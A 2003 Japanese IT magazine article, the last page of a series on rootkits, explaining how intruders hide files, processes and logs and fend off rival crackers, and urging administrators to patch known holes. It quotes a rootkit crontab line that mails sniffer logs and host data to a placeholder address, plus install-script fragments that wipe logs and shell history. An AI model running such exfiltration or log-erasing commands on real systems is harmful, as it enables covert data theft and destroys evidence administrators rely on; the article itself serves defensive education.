エンタープライズ:特集 | 2003/03/28 17:09:00 更新 |
rootkitによるハッキングとその防御
第4回 rootkitを利用した侵入 (5/5)
侵入の痕跡を隠す
侵入に成功したシステム上にインストールしたrootkitのファイル類の隠蔽、ログの改ざん、また不要なログの消去は、管理者に侵入を気がつかれないために必要な要素となる。
■コマンドの改ざん例- rootkit関連の設定ファイルやツール類の隠蔽:ls/find/du/dir/vdir/locate など
- バックドアなどのプロセスの隠蔽:ps/pstree/top/lsof など
- ネットワークプロセスの隠蔽:netstat
- ネットワークインターフェイスがプロミキャスモードになっていることを隠蔽:ifconfig
- クラッカーの追加したcrontabのエントリーを隠蔽:crond
- クラッカーのプロセス(バックドアなど)はkillさせない:killall
- 不要なログを記録させない:syslogd/tcpd
このほかにも、ライブラリの改ざんなどが挙げられる。
■例)rootkitに含まれていたcrontab-entryの一例、スニッファログをメールで送信させるために加えられている0 0 1 * * /sbin/ifconfig |grep inet >/tmp/.log 2>/dev/null; /bin/hostname -f >>/tmp/.log 2>/dev/null; /usr/local/games/banner /usr/local/games/tcp.log >>/tmp/.log 2>/dev/null; cat /tmp/.log|mail -s 'tcp.log' hoge@hoge.org >/dev/null 2>&1; rm -f /tmp/.log >/dev/null 2>&1 |
■ログの消去・改ざん
ログの消去については、第2回で解説しているが、ここでは、少し古いrootkitのインストールスクリプトの一部を例として見てみよう。下記のスクリプトではログクリーナーで特定のログを消去し、「.bash_history」は単純に消去するように記述されている。
〜省略〜 cd "/dev/rd/cdb/" ./cleaner hoge.net cd "/dev/rd/cdb" ./cleaner named > /dev/null 2>&1 cd "/dev/rd/cdb/" ./cleaner root > /dev/null 2>&1 cd "/dev/rd/cdb" ./cleaner 202.212 > /dev/null 2>&1 rm -rf /root/.bash_history rm -rf ~/.bash_history * 〜省略〜 |
■スニッファおよびツール
スニッファやツール類の詳細な解説は割愛する。参考までに一部のrootkitに含まれているスニッファや、クラッカーが好むIRC関連ツールのファイル名を下記に記しておく。
スニッファ:linsniffer/sniffchk(スニッファが動作しているかチェック)など IRC関連ツール:bitchx/mirkforce/psybnc/eggdrop/emechなど |
攻略したマシンへほかのクラッカーから侵入されないようにする
少し話が脱線するが、このほかにも、たとえば既知のセキュリティホールが放置されたままであった場合、あるクラッカーが侵入する以前に、ほかのクラッカーが侵入してrootkitを仕掛けている可能性がある。また逆に侵入に成功してrootkitを仕掛けたシステムであれば、侵入時に利用したセキュリティホールで、また新たなクラッカーがそのシステムに侵入してくるかもしれない。
クラッカーにしてみれば、ほかのクラッカーが自分の攻略したシステムに侵入してくるようなことのないよう、彼らを閉め出したいと考えるだろう。そこで、既知のセキュリティホールを塞いだり、すでにrootkitが仕掛けられていればそれらを削除して、新たなrootkitを仕掛けるということある。
下記のように、すでにインストールされたバックドアがあるかを確認したり、パッチを当てたりといったことを、インストール時に同時に行うように記述しているrootkitもある。
■セキュリティホールにパッチをあてる# ./patch # [Patching started on linux] # : linking /bin/.bash_history to /dev/null # # : Upgrading WU-FTP, please wait a sec... # # : Executing .rpm upgrade... # 〜省略〜 |
■rootkitー「illogic」のインストールスクリプトの一部、すでにインストールされているrootkitやトロイの木馬があるかをインストール時にチェックしている
〜省略〜 printf "${WHI}*${DWHI} Checking for existing rootkits..\n" # this is lame.. will improve it later... # SNAKE!!!! give me details of more kits if test -d /usr/src/.puta ; then printf "${RED}*** WARNING ***${DWHI} t0rnkit v7 or rip is already installed here\n" fi if test -d /lib/security/.config ; then printf "${RED}*** WARNING ***${DWHI} This rootkit... or an earlier version, is already here\n" fi if test -d /usr/src/.poop ; then printf "${RED}*** WARNING ***${DWHI} RameN Worm is installed here\n" fi if test -f /dev/hda06 ; then printf "${RED}*** WARNING ***${DWHI} TeLeKiT telnetd trojan could be installed here\n" fi if test -d /usr/info/libc1.so ; then printf "${RED}*** WARNING ***${DWHI} TeLeKiT could be installed here\n" fi if test -d /dev/wd4 ; then printf "${RED}*** WARNING ***${DWHI} tribe default bot install dir here\n" fi printf "${WHI}*${DWHI} ${GRN}Installing on RedHat Linux V ${REDHAT} with ${CPU} CPU${DWHI}\n" 〜省略〜 |
■すでにrootkitがインストールされていた場合には警告が表示される。下記は同じrootkitがインストールされていたケース
〜省略〜 * Installing from /tmp/illogic - Will erase /tmp/illogic after install * Checking for existing rootkits.. *** WARNING *** This rootkit... or an earlier version, is already here * Installing on RedHat Linux V 6.2 with i686 CPU 〜省略〜 |
このほかにもrootkitチェック用スクリプト「checkrk」などがある。
既知のセキュリティホールはすべて塞ぐのが重要
今回は、技術レベルの低いクラッカーが利用する侵入手口やrootkitの内容について簡単に見てきたが、rootkitについて云々する以前に、セキュリティホールを放置したまま、サーバを運営していることが一番の問題だ。新しいワームやウイルスが登場したといっても、そのほとんどが既知のセキュリティホールを利用して感染していくものだ。これは、対策を立てていないコンピュータがいかに数多く存在しているか、ということでもある。遊び感覚のクラッカーに侵入させないためにも、まずは自社のマシン上で起動しているサービスから、脆弱性を排除する努力が必要だろう。
[TTS,ITmedia]